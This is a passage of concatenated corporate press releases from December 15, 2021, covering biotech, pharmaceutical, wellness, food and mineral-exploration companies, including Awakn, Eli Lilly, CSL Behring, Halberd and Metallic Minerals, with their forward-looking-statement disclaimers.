on-site psychiatrists and will treat a number of addictions and mental health disorders. Acquired Axonklinikken AS ("Axon"), a leading ketamine-assisted psychotherapy clinic in Norway, to be renamed "Awakn Oslo AS" , as part of planned Nordic expansion. Awakn Oslo AS clinic will serve as the Nordic hub in order to expand its clinical network across the region. Key Corporate Highlights and Developments: Appointed Former EVP & Chief Commercial Officer of Gilead Sciences, Paul Carter, as Awakn's Independent Member of its Board of Directors. Paul has over 25 years of senior executive experience, specializing in commercialization, regional leadership and mergers and acquisitions. With Paul joining, Awakn's Board of Directors will shift to an independent majority. Strengthened Executive Leadership Team by appointing Kate Butler to be CFO, and Jonathan Held, Current CFO, will transition to be Chief Business Officer. Key Financial Highlights: As of October 31, 2021, the Company had approximately $5.7 million in cash and no debt. As of December 14, 2021 there were 24,887,307 million common shares outstanding. Achieved first revenue of $31,737 via Awakn Oslo AS, compared to $Nil in the prior year. About Awakn Life Sciences Corp. Awakn Life Sciences is a biotechnology company developing and delivering psychedelic therapeutics (medicines and therapies) to better treat addiction. Awakn's team consists of world leading chemists, scientists, psychiatrists, and psychologists who are developing and advancing the next generation of psychedelic drugs, therapies, and enabling technologies to treat addiction. Awakn will deliver these evidence backed psychedelic therapies in clinics in the UK and Europe and through licensing partnerships globally. www.awaknlifesciences.com | Twitter | LinkedIn | Facebook Notice Regarding Forward-Looking Information This news release contains certain forward-looking information and forward-looking statements, as defined in applicable securities laws (collectively referred to herein as "forward-looking statements"). Forward-looking statements reflect current expectations or beliefs regarding future events or the Company's future performance. All statements other than statements of historical fact are forward-looking statements. Often, but not always, forward-looking statements can be identified by the use of words such as "plans", "expects", "is expected", "budget", "scheduled", "estimates", "continues", "forecasts", "projects", "predicts", "intends", "anticipates", "targets" or "believes", or variations of, or the negatives of, such words and phrases or state that certain actions, events or results "may", "could", "would", "should", "might" or "will" be taken, occur or be achieved, including statements relating to the proposed NEO listing, and the business of the Company. All forward-looking statements, including those herein are qualified by this cautionary statement. Although the Company believes that the expectations expressed in such statements are based on reasonable assumptions, such statements are not guarantees of future performance and actual results or developments may differ materially from those in the statements. There are certain factors that could cause actual results to differ materially from those in the forward-looking information. These include: whether conditions to the listing on NEO will be satisfied; the business plans and strategies of the Company, the ability of the Company to comply with all applicable governmental regulations in a highly regulated business; the inherent risks in investing in target companies or projects which have limited or no operating history and are engaged in activities currently considered illegal in some jurisdictions; changes in laws; limited operating history; reliance on management; requirements for additional financing; competition; inconsistent public opinion and perception regarding the medical-use of psychedelic drugs; and regulatory or political change. Readers are cautioned that the foregoing list of factors is not exhaustive of the factors that may affect forward-looking statements. Accordingly, readers should not place undue reliance on forward-looking statements. The forward-looking statements in this news release speak only as of the date of this news release or as of the date or dates specified in such statements. Investors are cautioned that any such statements are not guarantees of future performance and actual results or developments may differ materially from those projected in the forward-looking information. For more information on the Company, investors are encouraged to review the Company's public filings on SEDAR at www.sedar.com. The Company disclaims any intention or obligation to update or revise any forward- looking information, whether as a result of new information, future events or otherwise, other than as required by law. This news release does not constitute an offer to sell, or a solicitation of an offer to buy, any securities in the United States. The Company's and Awakn's securities have not been and will not be registered under the United States Securities Act of 1933, as amended (the "U.S. Securities Act") or any state securities laws and may not be offered or sold within the United States or to U.S. Persons unless registered under the U.S. Securities Act and applicable state securities laws or an exemption from such registration is available. Investor Enquiries: KCSA Strategic Communications Valter Pinto / Tim Regan Phone: +1 (212) 896-1254 Awakn@KCSA.com Media Enquiries: America and Canada: KCSA Strategic Communications Anne Donohoe Adonohoe@KCSA.com Rest of World: ROAD Communications Paul Jarman / Anna Ramsey Awakn@roadcommunications.co.uk To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107625 INDIANAPOLIS (dpa-AFX) - Eli Lilly and Company (LLY) has updated certain elements of its 2021 guidance on both a reported and non-GAAP basis. Earnings per share is now expected to be in the range of $6.18 to $6.23 on a reported basis and $8.15 to $8.20 on a non-GAAP basis. Gross margin as a percent of revenue is still expected to be approximately 75 percent on a reported basis and is now expected to be approximately 78 percent on a non-GAAP basis. The company's previous guidance was non-GAAP earnings per share in a range of $7.95 to $8.05. For 2021, Eli Lilly now expects revenue to be in the range of $28.0 billion to $28.3 billion, reflecting additional revenue from COVID-19 antibodies associated with the recent purchase agreement with the U.S. Government and the channel impact of the updated 2022 NRDL formulary in China. Previous revenue guidance was $27.2 to $27.6 billion. Analysts polled by Thomson Reuters expect the company to report profit per share of $7.13 on revenue of $24.57 billion. Analysts' estimates typically exclude special items. For 2022, Eli Lilly expects earnings per share to be in the range of $8.00 to $8.15 on a reported basis and $8.50 to $8.65 on a non-GAAP basis. The company anticipates 2022 revenue between $27.8 billion and $28.3 billion. Eli Lilly said it is on track to meet goal of launching 20 new medicines over the 10-year period from 2014 to 2023. Also, the company announced initiation of rolling submission to FDA for pirtobrutinib in mantle cell lymphoma, revealed new phase 3 trials planned for tirzepatide in obesity outcomes, sleep apnea and kidney disease, and released new biomarker data supporting donanemab efficacy. 'We believe the continued uptake of our key growth products coupled with our anticipated upcoming launches will allow Lilly to deliver top-tier, volume-driven revenue growth through at least 2030,' said Anat Ashkenazi, CFO. Shares of Eli Lilly were up 4% in pre-market trade on Wednesday. Copyright RTT News/dpa-AFX ELI LILLY-Aktie komplett kostenlos handeln - auf Smartbroker.de MARBURG, Germany, Dec. 15, 2021 /PRNewswire/ -- CSL Behring today announced that the European Medicines Agency (EMA) has granted its approval for an accelerated assessment request for etranacogene dezaparvovec Marketing Authorisation Application (MAA). Etranacogene dezaparvovec is an investigational gene therapy for people with haemophilia B, a life-threatening bleeding disorder, and is currently being studied in the Phase 3 HOPE-B clinical trial. The EMA grants accelerated assessment if a medicinal product is expected to be of major public health interest and constitutes a therapeutic innovation. This potentially reduces the assessment timeline, once the MAA is filed and validated and could speed up patient access to this gene therapy. Etranacogene dezaparvovec has already been granted Breakthrough Therapy Designation by the United States Food and Drug Administration and access to the Priority Medicine (PRIME) regulatory scheme by the EMA. CSL Behring plans to submit regulatory applications for marketing approval of etranacogene dezaparvovec in the European Union and the United States in the first half of 2022. CSL Behring recently announced positive top line results from the HOPE-B pivotal trial of etranacogene dezaparvovec. The study achieved its primary endpoint of non-inferiority in annualized bleeding rate after stable Factor IX (FIX) expression, assessed at 18 months following a single dose. It also achieved a secondary endpoint demonstrating statistical superiority in reduction of annualised bleeding rate, compared with baseline FIX prophylactic therapy. Factor IX is a naturally occurring protein produced in the body, which helps blood to clot. The study further showed that Etranacogene dezaparvovec was generally well-tolerated with over 80% of adverse events considered mild in the 53 patients involved in the 18-month follow-up. "These encouraging results illustrate the potential that gene therapy has to be a long-term treatment option for patients living with haemophilia B and we look forward to sharing more detailed data with the medical community in the near future," commented Lutz Bonacker Senior Vice President and General Manager Europe at CSL Behring. "This milestone advances our efforts towards expected regulatory submissions in the first half of 2022." "The acceptance of an accelerated regulatory review underscores the high unmet need for a long-term treatment option for haemophilia B patients," said Karen Pinachyan, Head of Medical Affairs Europe at CSL Behring. He added: "For people living with haemophilia B, gene therapy has the potential to make near-normal blood clotting ability possible, which could be life changing for patients vulnerable to spontaneous bleeding in their muscles, internal organs and joints." "Consistent stable Factor IX expression, observed at 6 months, 12 months and now the 18-month final analysis of the HOPE-B pivotal trial, is preparing the ground for future approvals and implementation in clinical practice," commented Prof Wolfgang Miesbach from the University Hospital of Frankfurt, Germany, and HOPE-B trial investigator. He added: "It would be essential that a collaborative effort between all stakeholders is made to bring this innovation to patients." About Hemophilia B Hemophilia B is a life-threatening degenerative disease. People with the condition are particularly vulnerable to bleeds in their muscles, internal organs, and joints, leading to pain, swelling, and joint damage. Current treatment includes life-long prophylactic infusions of FIX to temporarily replace or supplement low levels of the blood-clotting factor. This can reduce joint bleeding events, prevent life-threatening bleeds, and preserve joint function. However, infusions can be cumbersome, painful and veins can fibrose over time, making ongoing treatment difficult. A person's immune system may also generate inhibitors against the replacement factor, negating its benefit. In addition, many people receiving prophylaxis are forced to plan their lives around the highs and lows of their FIX levels, which rise immediately after an infusion but drop over time -- leaving them especially vulnerable to bleeds and pain in the days before their next infusion. Most troubling, prophylactic FIX replacement therapy sometimes fails to control unobservable micro-bleeds in the joints, meaning that the degeneration can continue despite regular infusions. Missing an infusion may also the increase their likelihood of a life-threatening bleed or even premature death. About Gene Therapy in Hemophilia B Gene therapy has the potential to make a functional cure possible in hemophilia B. Gene therapy achieves this with modified non-infectious viruses called "vectors" that can enter certain cells. Vectors act as delivery trucks, carrying a package of genetic instructions to specific cells. Once delivered, the package acts like a generator that plugs into the cellular machinery, allowing a person to produce their own stable levels of FIX. A certain type of vector, called an adeno-associated virus, or AAV, dissolves after delivering its package. The genetic instructions remain, but never actually become a part of a person's own DNA. About Etranacogene Dezaparvovec Etranacogene dezaparvovec (also known as CSL222 and EtranaDez was previously known as AMT-061) uses a specific type of AAV, called AAV5, as its delivery vehicle. The AAV5 vector carries the patent-protected Padua gene variant of Factor IX (FIX-Padua), which generates FIX proteins that are 5x-8x more active than normal. Preclinical and clinical data show that AAV5-based gene therapies may be clinically effective in up to 95 percent of hemophilia B patients with pre-existing antibodies to AAV vectors, thereby potentially increasing patient eligibility for treatment compared to other AAV gene therapy product candidates. About CSL Behring CSL Behring is a global biotherapeutics leader driven by our promise to save lives. Focused on serving patients' needs by using the latest technologies, we discover, develop and deliver innovative therapies for people living with conditions in the immunology, haematology, cardiovascular and metabolic, respiratory, and transplant therapeutic areas. We use three strategic scientific platforms of plasma fractionation, recombinant protein technology, and cell and gene therapy to support continued innovation and continually refine ways in which products can address unmet medical needs and help patients lead full lives. CSL Behring operates one of the world's largest plasma collection networks, CSL Plasma. The parent company, CSL Limited (ASX:CSL;USOTC:CSLLY), headquartered in Melbourne, Australia, employs more than 25,000 people worldwide, and delivers its life-saving therapies to people in more than 100 countries. For inspiring stories about the promise of biotechnology, visit Vita CSLBehring.com/vita and follow us on Twitter.com/CSLBehring. Media Contact: Faraz Kermani Faraz.Kermani@CSLBehring.com Mobile: +49 (171) 9439569 Logo - https://mma.prnewswire.com/media/1608273/CSL_Behring_Logo.jpg Executives and Independent Directors of the Company Have Already Participated in the Above-Market Offering at $0.12384 Per Share Columbus, Ohio--(Newsfile Corp. - December 15, 2021) - Better For You Wellness, Inc. (OTC Pink: BFYW) ("Better For You Wellness" or the "Company"), an Ohio-based company focused on the rapidly-growing $1.5T wellness industry, is pleased to announce that, in addition to the recently disclosed Equity Purchase Agreement and Registration Rights Agreement with Williamsburg Venture Holdings, LLC ("WVH"), the Company has filed its Form D with the Securities and Exchange Commission ("SEC") in connection with a phased fundraising of up to $1,000,000 USD in a Private Placement Offering of restricted Common Stock to to investors who qualify as "accredited investors," as that term is defined in Regulation D of the Securities Act of 1933. The purpose of this phased Private Placement Offering is to bolster the Better For You Wellness balance sheet as it works towards finalizing and closing the acquisitions contemplated in the Company's three previously announced Letters of Intent with Ironwood Clay Co., Mary Louise Cosmetics, and Cannuka. "I'm excited to have already participated in the Private Placement Offering alongside Stephen Letourneau, other members of the Company's Board of Directors, and more esteemed investors," commented Ian James, Chief Executive Officer of Better For You Wellness. "The price of $0.12384 per restricted Common Share represents a slightly higher than 78% premium to the closing price of BFYW on Tuesday, December 14th, 2021 and further underscores management's belief and confidence in our business plan. Furthermore, I believe that the Company's share price in the open market as of late has not been indicative of its true potential value." For more details, please refer to the Company's Form D filed with the Securities and Exchange Commission at https://www.sec.gov. About Better For You Wellness, Inc. Better For You Wellness, Inc. (OTC Pink: BFYW) is a Columbus, Ohio-based Company that is pursuing a dual buy-and-build model within the wellness industry. Better For You Wellness, Inc., through its wholly-owned subsidiary, builds and operates digitally-native, mission-driven brands within the clean beauty sector, including Better Suds. Better For You Wellness, Inc. is also under LOI to acquire three different companies within the clean and natural beauty category. Learn more at https://BFYW.com. Contact: Better For You Wellness, Inc. Ian James, CEO investors@bfyw.com Forward-Looking Statements This press release may contain forward-looking statements that involve risks and uncertainties. These statements relate to future events or our future financial performance. In some cases, you can identify forward-looking statements by terminology including "could," "may," "will," "should," "expect," "plan," "anticipate," "believe," "estimate," "predict," "potential" and the negative of these terms or other comparable terminology. While these forward-looking statements, and any assumptions upon which they are based, are made in good faith and reflect our current judgment regarding the direction of our business, actual results will almost always vary, sometimes materially, from any estimates, predictions, projections, assumptions or other future performance suggested in this report. Except as required by applicable law, we do not intend to update any of the forward-looking statements so as to conform these statements to actual results. Investors should refer to the risks disclosed in the company's reports filed with SEC (https://www.sec.gov/). Disclaimer The distribution of this press release and the offer and sale of the securities mentioned herein may be restricted by law in certain jurisdictions and persons into whose possession of this document or other information referred to herein comes should inform themselves about and observe any such restriction. Any failure to comply with these restrictions may constitute a violation of the securities laws of any such jurisdiction. The securities have not been and are not being offered to the public in any jurisdiction and may not be offered to the public in any jurisdiction in circumstances which would require the preparation or registration of any prospectus or offering document relating to the securities in such jurisdiction. This press release is not an offer of securities for sale in any jurisdiction. Neither this press release nor anything contained herein shall form the basis of, or be relied upon in connection with, any offer or purchase whatsoever in any jurisdiction and shall not constitute or form part of an offer to sell or the solicitation of an offer to buy any securities in the United States of America or in any other jurisdiction. The information contained in this press release is for background purposes only and does not purport to be full or complete and no reliance may be placed by any person for any purpose on the information contained in this announcement or its accuracy, fairness or completeness. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107698 VANCOUVER, BC / ACCESSWIRE / December 15, 2021 / Naturally Splendid Enterprises Ltd. ("Naturally Splendid", "NSE" or "the Company") (FRANKFURT:50N) (TSXV:NSP) (OTC PINK:NSPDF) is pleased to announce that NATERA Plant-Based Foods is now available through DirectFood.store. DirectFood.store is a British Columbia based food delivery company offering a wide variety of local food throughout the Greater Vancouver Region. The company offers a first-of-its-kind sustainable solution for grocery shopping with a zero-waste system. DirectFood.store does not have any warehouses with all food being picked up directly from the farms or vendors in the morning and delivered to customers later that day. DirectFood.store CEO Mr. Colin Schmidt states, "We recognized that the COVID outbreaks, coupled with the uncertainty of supply chains created the need for a more resilient way to get food to market and this is where DirectFood.store excels. We are seeing more and more demand for plant-based products, and the Naturally Splendid brand of NATERA Plant Based entrees is an excellent fit for our rapidly growing customer base. We look forward to growing this opportunity with Naturally Splendid and NATERATM." Naturally Splendid CEO Mr. J. Craig Goodwin states, "Teaming up with DirectFood.store provides an easy, affordable way to deliver our plant-based entrees to over 2.8 million people who live in the lower mainland. This is one more way to get our products to consumers as the trend of consumers looking for convenience when purchasing food continues to grow. This consumer buying trend accelerated during the initial COVID lockdown periods and we believe consumers will continue to use food delivery services, especially when quality and service are at the forefront, as it is with DirectFood.store. DirectFood.store is all about ensuring their customers receive high-quality foods and NATERA is excited to provide our delicious plant-based entrees to their valued clients. We are looking forward to working with DirectFood.store in meeting their customers' needs and tastes". About Naturally Splendid Enterprises Ltd. Founded in 2010, NSE operates a food manufacturing facility just outside Vancouver, BC in Canada. The Company has established numerous healthy, functional foods under recognized brands such as Natera Sport, Natera Hemp Foods, CHII, Elevate Me and Woods Wild Bar, and most recently Natera Plant Based Foods, a line of delicious plant-based meat alternatives for the rapidly growing plant-based market segment. The Company has a myriad of new products and line extensions under development that are approaching launch. NSE, through its joint venture Plasm Pharmaceutical, has been approved for conducting a phase 2 clinical trial approved by Health Canada for treatment of COVID-19. NSE has also developed proprietary technologies for the extraction of high-demand, healthy omega 3 and 6 oils from hemp. NSE contract manufacturers for healthy, functional food products and ingredients focusing on plant-based ingredients. The Company provides contract manufacturing services for many healthy food companies, private labeling a wide variety of nutritional food products destined for global healthy food markets. For more information e-mail info@naturallysplendid.com or call Investor Relations at 604-465-0548 (ext. 105) About DirectFood.store Founded in the spring of 2020 as a division of Wisebox Solutions Inc., and as part of the i-Open Group of companies, DirectFood.store (DFS) operates throughout the lower mainland of BC, Canada, serving from Vancouver to Chilliwack. DFS provides consumers, restaurants, and charities with free delivery for orders placed directly from local farms and vendors. Separate invoices and card charges reinforce that they are buying direct, even though they have the convenience of shopping in a shared regional marketplace with all their food arriving together. For local farms, DFS's unique many-to-many delivery model and logistics software shorten the supply chain to enable just-in-time harvesting. As a result, the food is fresher and healthier while limiting food waste and environmental impact. On Behalf of the Board of Directors Mr. J. Craig Goodwin CEO, Director Contact Information Naturally Splendid Enterprises Ltd. (NSP - TSX Venture; NSPDF - OTCQB; 50N - Frankfurt) #108-19100 Airport Way Pitt Meadows, BC, V3Y 0E2 Office: (604) 465-0548 Fax: (604) 465-1128 E-mail: info@naturallysplendid.com Website: www.naturallysplendid.com Forward-Looking Statements Information set forth in this news release contains forward-looking statements that are based on assumptions as of the date of this news release. These statements reflect management's current estimates, beliefs, intentions, and expectations. They are not guarantees of future performance. Naturally Splendid cautions that all forward looking statements are inherently uncertain and that actual performance may be affected by a number of material factors, many of which are beyond Naturally Splendid's control including, Naturally Splendid's ability to compete with large food and beverage companies; sales of any potential products developed will be profitable; sales of shelled hemp seed will continue at existing rates or increase; the ability to complete the sales of all bulk hemp seed purchase orders; and the risk that any of the potential applications may not receive all required regulatory or legal approval. Accordingly, actual and future events, conditions and results may differ materially from the estimates, beliefs, intentions and expectations expressed or implied in the forward-looking information. Except as required under applicable securities legislation, Naturally Splendid undertakes no obligation to publicly update or revise forward-looking information. NEITHER TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE. SOURCE: Naturally Splendid Enterprises Ltd. View source version on accesswire.com:https://www.accesswire.com/677786/NATERA-Plant-Based-Foods-Featured-at-DirectFoodstore VANCOUVER, BC / ACCESSWIRE / December 15, 2021 / Wedgemount Resources Corp. (CSE:WDGY) ("Wedgemount" or the "Company"), announces that it has amended the terms of the option agreement signed in September 2020 (the "Agreement") with ArcWest Exploration Inc. ("ArcWest") for its Eagle Property ("Eagle" or the "Property"). Pursuant to the Agreement, exploration expenditures of $250,000 were required on the Property prior to December 31, 2021, which has been completed, as well as a minimum 1000 meters of exploration drilling (the "NQ Drilling"). Wedgemount and ArcWest have agreed to extend the time in which Wedgemount has to complete the NQ Drilling, until December 31, 2022 (the "Amendment"). As consideration for the Amendment, on signing, Wedgemount will make a cash payment of $25,000 and issue 400,000 common shares to ArcWest (the "AmendmentConsideration"). The Amendment Consideration will be credited towards future payments due to ArcWest and does not increase the number of common shares issuable to ArcWest pursuant to the Agreement. Cash payments may increase under the Amendment, in the event the Company is not able to complete the NQ Drilling prior to December 31, 2022, it is required to pay ArcWest an additional $250,000. Eagle Project The road accessible, 2,530 hectare project is situated in the heart of BC's prolific Quesnel trough copper-gold porphyry belt mid-way between the Mt. Milligan copper-gold mine of Centerra Gold and the Kwanika copper-gold development project of Northwest Copper. The Property is underlain by the Late Triassic to Early Cretaceous Hogem Intrusive Suite, a large, regional batholith comprised of alkaline and calc-alkaline plutons that have been emplaced into the Middle Triassic to Lower Jurassic Takla Group volcanic rocks and sedimentary sequences. Historical work from the late-1960s to the early 2000's, including geological mapping, geophysical and geochemical surveys and limited drilling have outlined three main porphyry-related copper-gold targets. The discrete zones identified on the Eagle property to-date are hosted within a broad, northwest-trending, 3.5 km long structural corridor of copper-gold mineralization and widespread anomalous copper in soils. The Eagle project is subject to an earn-in agreement with ArcWest Exploration Inc (see AWX news release dated October 5, 2020). About Wedgemount Resources Corp. Wedgemount Resources is a junior mineral exploration company focused on maximizing shareholder value through the acquisition, discovery and advancement of high-quality copper - gold projects in North America. On behalf of the Board of Directors, WEDGEMOUNT RESOURCES CORP. Mark Vanry, President and CEO For more information, please contact the Company at: Telephone: (604) 343-4743 info@wedgemountresources.com www.wedgemountresources.com Reader Advisory This news release may contain statements which constitute "forward-looking information", including statements regarding the plans, intentions, beliefs and current expectations of the Company, its directors, or its officers with respect to the future business activities of the Company. The words "may", "would", "could", "will", "intend", "plan", "anticipate", "believe", "estimate", "expect" and similar expressions, as they relate to the Company, or its management, are intended to identify such forward-looking statements. Forward looking statements made in this news release include the Company's plans for exploration of the property and anticipated exploration results. Investors are cautioned that any such forward-looking statements are not guarantees of future business activities and involve risks and uncertainties, and that the Company's future business activities may differ materially from those in the forward-looking statements as a result of various factors, including, but not limited to, availability of funds, personnel and other resources necessary to conduct exploration programs, successes of the Company's exploration programs, availability of capital and financing and general economic, market or business conditions. There can be no assurances that such information will prove accurate and, therefore, readers are advised to rely on their own evaluation of such uncertainties. The Company does not assume any obligation to update any forward-looking information except as required under the applicable securities laws. Neither the Canadian Securities Exchange nor the Investment Industry Regulatory Organization of Canada accepts responsibility for the adequacy or accuracy of this release. SOURCE: Wedgemount Resources Corp. View source version on accesswire.com:https://www.accesswire.com/677730/Wedgemount-Resources-Announces-Amendment-to-Option-Agreement-for-Eagle-Property JACKSON CENTER, PA / ACCESSWIRE / December 15, 2021 / Halberd Corporation (OTC PINK:HALB) has demonstrated 100% eradication of Interleukin-12 (IL-12) from synthetic cerebral spinal fluid (CSF) in preliminary testing. Interleukin-12 is a pro-inflammatory cytokine which has recently been identified at elevated levels in patients with Alzheimer's Disease or mild cognitive impairment. Halberd's demonstrated ability to control the levels of IL-12, along with other inflammatory cytokines and antigens in CSF, is intended to slow or prevent the onset of Alzheimer's Disease and other cognitive decline. Currently, it is estimated that Alzheimer's Disease directly affects over 6 million people in the United States and over 40 million people worldwide. Dr. Mitchell S. Felder, Halberd's Chief Technology Officer and a board certified attending neurologist stated, "Interleukin-12's pro-inflammatory action appears to increase deleterious pathologic effects by phosphorylated tau and Tumor Necrosis Factor-alpha (TNF-alpha). These effects have been strongly associated with Alzheimer's Disease and other neurodegenerative diseases." William A. Hartman, Halberd Corporation's Chairman, President & CEO, added, "We have now demonstrated that we can eradicate targeted disease antigens and inflammatory cytokines associated with neurodegenerative diseases. We have no doubt that our technology will also be successful in eliminating the balance of the targeted antigens identified in our test plan." Hartman continued, "Once our test plan is completed, we intend to promote our technology to organizations and entities with an expressed interest in the treatment of Traumatic Brain Injury (TBI), PTSD/CTE, and other neurodegenerative diseases. Halberd's advancement in the elimination of the pathogens listed above is unique in the world. Our goal is to create a revolution in the successful treatment of the causes of neurodegenerative diseases that heretofore have been considered incurable." To get the latest news on Halberd's exciting developments, including our ongoing disease eradication accomplishments, subscribe by submitting this form. (https://halberdcorporation.com/contact-us/) For more information please contact: William A. Hartman w.hartman@halberdcorporation.com support@halberdcorporation.com www.halberdcorporation.com Twitter:@HalberdC About Halberd Corporation. Halberd Corporation (OTC PINK:HALB), is a publicly traded company on the OTC Market, and is in full compliance with OTC Market reporting requirements. Since its restructuring in April of 2020, Halberd has obtained exclusive worldwide rights to three issued patents and has filed nineteen related provisional, PCT, or utility patent applications to enhance its value to its stockholders and to attract the interests of potential development partners. Safe Harbor Notice Certain statements contained herein are "forward-looking statements" (as defined in the Private Securities Litigation Reform Act of 1995). The Company cautions that statements, and assumptions made in this news release constitute forward-looking statements and makes no guarantee of future performance. Forward-looking statements are based on estimates and opinions of management at the time statements are made. These statements may address issues that involve significant risks, uncertainties, estimates made by management. Actual results could differ materially from current projections or implied results. The Company undertakes no obligation to revise these statements following the date of this news release. SOURCE: Halberd Corporation View source version on accesswire.com:https://www.accesswire.com/677749/Halberd-Eradicates-Another-Inflammatory-Cytokine-Interleukin-12-In-Its-Continuing-Effort-To-Eliminate-Neurodegenerative-Diseases VANCOUVER, BC / ACCESSWIRE / December 15, 2021 / Metallic Minerals (TSX.V:MMG)(OTCQB:MMNGF) ("Metallic Minerals", or the "Company") is pleased to announce the successful completion of 2021 exploration activities at the La Plata silver-gold-copper project in the prolific Colorado Mineral Belt of southwest Colorado. The multi-faceted program included 1,980 meters of diamond drilling, resampling of historical drill core, and underground sampling from the Allard Tunnel, along with surface mapping and sampling across the broader property. In addition, the Company engaged the team at Goldspot Discoveries ("GoldSpot") to apply their proprietary Artificial Intelligence ("AI"), machine learning technology and specialized geoscience expertise in porphyry and epithermal systems to the La Plata project. GoldSpot completed their first phase analysis work on geological, geochemical, geophysical, and remote sensing data developing 16 new porphyry and high-grade epithermal priority targets for follow up work and future drilling. 2021 La Plata Exploration Program The 2021 La Plata project work program was designed to achieve a number of important objectives: Completion of confirmatory drilling and underground sampling within the main Allard porphyry target to confirm historical drill results from Rio Tinto, Freeport and others totaling 14,400 meters ("m") in 54 drill holes drilled from the 1950s to the 1970s. This confirmatory drilling is an important step towards upgrading of the historical resource to a NI 43-101 compliant mineral resource estimate for the project; Conduct surface exploration and follow-up sampling to further define the scale of mineralization along multiple identified trends that comprise multi-kilometer-scale soil and geophysical targets; Undertake field confirmation of deep-penetrating Induced Polarization ("IP") and airborne electromagnetic ("EM") geophysical targets developed in the 2020 surveys; and Initiate work with GoldSpot Discoveries to apply AI technology towards definition of priority targets to potentially accelerate the discovery process on the project. Drilling and resampling of core in the main Allard porphyry system, along with underground sampling from the Allard Tunnel, has confirmed the tenor of copper, silver and gold mineralization from previous exploration on the property. The 3 kilometer ("km") by 1 km mineralized system remains open to expansion at depth and along trend. This year's work has also shown significant potential for palladium, platinum and gold associated with the porphyry system. Highlight historical drill intercepts include 395 m grading 0.57% copper equivalent (0.51% Cu, 6.3 g/t Ag, and 0.017 g/t Au) including 108 m grading 0.75% copper equivalent (0.65% Cu, 7.7 g/t Ag and 0.034 g/t Au) in drill hole LP-03 starting from surface. Final assay results for drill samples are pending. Surface sampling has also expanded the main mineralized zone to 6 km in length and up to 1.5 km in width with anomalous copper, silver and gold in soils and rock samples. In addition, a second 4 km by 1 km target, which may represent a new porphyry and epithermal center, has been identified based on geophysics, remote sensing, and surface sampling with rock sample values in porphyry related mineralization up to 1.1% copper with 0.9 g/t gold and multi-gram silver. Rock samples of epithermal related mineralization included values up to 95 g/t silver and 10 g/t Au. Metallic Minerals' CEO and Chairman, Greg Johnson, stated, "We are pleased to have completed our first drill campaign at La Plata, and the first on the project in nearly 50 years, as we apply new thinking to this historic American high-grade silver, gold and copper district. Our work is confirming the potential for a multi-kilometer-scale mineralized porphyry and epithermal system - a much larger system than previously recognized - with excellent potential to expand known mineralization and to make new discoveries. Drilling, underground and surface sampling, geophysics, and satellite based remote sensing data for La Plata demonstrate real potential to become a strategic, US-based sourced of both precious and base metals, including silver necessary for solar power, and copper necessary for carbon-free energy and broader electrification of the global economy. Our 2021 work program has successfully advanced our understanding of the projects potential and is a major step towards the delineation of an inaugural mineral resource estimate. We look forward to providing additional updates including drill results from both our La Plata and Keno projects, as well as updates from our on-going work on the high-grade alluvial projects in the Klondike Gold district." About La Plata Silver-Gold-Copper Project The road accessible La Plata project covers 33 km2 approximately 26 km northwest of Durango, Colorado within the historic high-grade La Plata mining district located at the southwest end of the prolific Colorado Mineral Belt. Mineralization is related to a large-scale precious-metals-rich porphyry copper system with associated high-grade silver and gold epithermal vein and replacement deposits. Historical production from some of these high-grade structures exceeded 1,000 grams per tonne ("g/t") silver and over 15 g/t gold with some of the richest deposits delivering true bonanza grades for silver and gold1. The La Plata district has a long and rich history of mining with the first silver deposits discovered in the 1700s by Spanish explorers. High-grade silver and gold production has been documented from the 1870s through the early 1940s from vein structures, replacement bodies and breccia zones at over 90 individual mines and prospects1. From the 1950s to 1970s, major miners including Rio Tinto (Bear Creek) and Freeport-McMoRan (Phelps Dodge) explored in the La Plata district focusing on the significant potential for bulk-tonnage disseminated and stockwork hosted mineralization2. Freeport-McMoRan retained ownership of claims in the district until 2002 when they sold their holdings to the current underlying vendors during the lows of the last metal price cycle. A total of 56 drill holes totaling 15,200 m has been drilled on the property since the 1950s which confirm the presence of large-scale, multi-phase porphyry system with significant silver, gold and copper. This large-scale mineralized system is associated with a 10 km2 strongly magnetic signature with intense hydrothermal alteration. Metallic Minerals is the first company to complete significant exploration on the La Plata project in nearly 50 years, applying modern technologies and deposit modeling techniques. The Company sees the potential to rapidly extend the size of the known mineralized system and to identify and expand the higher-grade zones within the broader porphyry and epithermal mineralized zones. Foot notes: 1) Eckel, USGS Prof Paper 219, Geology and Ore Deposits of the La Plata Mining District, 1949; 2) Bear Creek Mining (now Rio Tinto), Humble Oil (now Exxon) and Phelps Dodge (now Freeport-McMoRan) company reports; 3) Christoffersen, Geological report on the Allard deposit, La Plata Mining District, Durango, Colorado, 2005. About Metallic Minerals Metallic Minerals Corp. is a growth-stage exploration company, focused on high-grade silver and gold projects in underexplored, brownfields mining districts of North America. Our objective is to create shareholder value through a systematic, entrepreneurial approach to exploration in the Keno Hill silver district, La Plata silver-gold-copper district, and Klondike gold district through new discoveries and advancing resources to development. Metallic Minerals has consolidated the second-largest land position in the historic Keno Hill silver district of Canada's Yukon Territory, directly adjacent to Alexco Resource Corp's operations, with nearly 300 million ounces of high-grade silver in past-production and current M&I resources. In addition, exploration at the recently acquired La Plata silver-gold-copper project in southwestern Colorado is targeting a silver and gold-enriched copper porphyry and adjacent high-grade silver and gold epithermal systems. The Company also continues to add new production royalty leases on its holdings in the Klondike gold district in the Yukon. All three districts have seen significant mineral production and have existing infrastructure, including power and road access. Metallic Minerals is led by a team with a track record of discovery and exploration success on several major precious and base metal deposits, as well as having large-scale development, permitting and project financing expertise. About the Metallic Group of Companies The Metallic Group is a collaboration of leading precious and base metals exploration companies, with a portfolio of large, brownfields assets in established mining districts adjacent to some of the industry's highest-grade producers of silver and gold, platinum and palladium, and copper. Member companies include Metallic Minerals in the Yukon's high-grade Keno Hill silver district and La Plata silver-gold-copper district of Colorado, Group Ten Metals in the Stillwater PGM-nickel-copper district of Montana, and Granite Creek Copper in the Yukon's Minto copper district. The founders and team members of the Metallic Group include highly successful explorationists formerly with some of the industry's leading explorer/developers and major producers. With this expertise, the companies are undertaking a systematic approach to exploration using new models and technologies to facilitate discoveries in these proven, but under-explored, mining districts. The Metallic Group is headquartered in Vancouver, BC, Canada, and its member companies are listed on the Toronto Venture, US OTC, and Frankfurt stock exchanges. 